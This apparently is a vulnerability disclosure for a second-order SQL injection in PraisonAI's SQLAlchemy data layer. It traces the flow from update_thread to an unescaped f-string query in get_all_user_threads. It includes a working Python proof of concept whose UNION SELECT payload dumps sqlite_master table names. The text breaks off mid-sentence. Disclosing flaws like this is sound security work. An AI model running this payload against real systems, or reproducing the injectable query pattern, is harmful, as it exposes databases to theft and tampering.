The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.
File Path:
src/praisonai/praisonai/ui/sql_alchemy.py
Flow: - Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)
Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
Sink (Line 576):
WHERE s."threadId" IN {thread_ids}
import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer
async def run_poc():
data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
await data_layer.update_thread(
thread_id="valid_thread",
user_id="attacker"
)
# Inject malicious payload
payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"
await data_layer.update_thread(
thread_id=payload,
user_id="attacker"
)
# Trigger vulnerable function
result = await data_layer.get_all_user_threads(user_id="attacker")
for thread in result:
if getattr(thread, 'id', '') == 'valid_thread':
for step in getattr(thread, 'steps', []):
print(getattr(step, 'id', ''))
asyncio.run(run_poc())
# Expected Output:
# sqlite_master table names printed to console
An attacker can achieve full database compromise, including: